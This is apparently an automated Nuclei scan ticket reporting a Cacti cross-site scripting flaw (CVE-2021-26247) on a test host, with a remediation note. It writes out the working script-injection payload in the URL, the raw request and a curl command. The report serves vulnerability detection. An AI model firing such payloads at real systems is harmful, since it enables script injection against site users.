Cacti - Cross-Site Scripting (CVE-2021-26247) found on honey.scanme.sh

Details: CVE-2021-26247 matched at honey.scanme.sh

Protocol: HTTP

Full URL: https://honey.scanme.sh/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E

Timestamp: Tue Apr 30 13:42:06 +0000 UTC 2024

Source: https://cloud.projectdiscovery.io/vuln/1909f3f68635b42625e1b200d2263afb

Template Information

Key	Value
Name	Cacti - Cross-Site Scripting
Authors	dhiyaneshdk
Tags	cve, cve2021, cacti, xss
Severity	medium
Description	Cacti contains a cross-site scripting vulnerability via "http:///auth_changepassword.php?ref=" which can successfully execute the JavaScript payload present in the "ref" URL parameter.
Remediation	Apply the latest security patches or upgrade to a patched version of Cacti to mitigate this vulnerability.
CVSS-Metrics	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE-ID	CWE-79
CVE-ID	CVE-2021-26247
CVSS-Score	6.10
product	cacti
vendor	cacti

Request

GET /auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: honey.scanme.sh
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

Response

HTTP/1.1 200 OK
Connection: close
Content-Length: 291
Content-Type: text/html
Date: Tue, 30 Apr 2024 13:42:06 GMT

GET /auth_changepassword.php?ref="></script><script>alert(document.domain)</script> HTTP/1.1
Host: honey.scanme.sh
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0

References:

CURL command

curl -X 'GET' -H 'Accept: */*' -H 'Accept-Language: en' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0' 'https://honey.scanme.sh/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'

Generated by Nuclei v3.2.5

mkrs2404 / tickets

Cacti - Cross-Site Scripting (CVE-2021-26247) found on honey.scanme.sh #14